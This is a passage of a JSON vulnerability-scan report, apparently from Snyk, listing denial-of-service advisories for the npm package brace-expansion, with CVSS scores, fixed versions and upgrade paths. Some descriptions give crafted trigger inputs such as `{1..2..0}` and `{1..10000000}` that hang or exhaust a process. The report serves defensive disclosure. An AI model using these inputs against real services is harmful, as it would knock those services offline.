"GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub 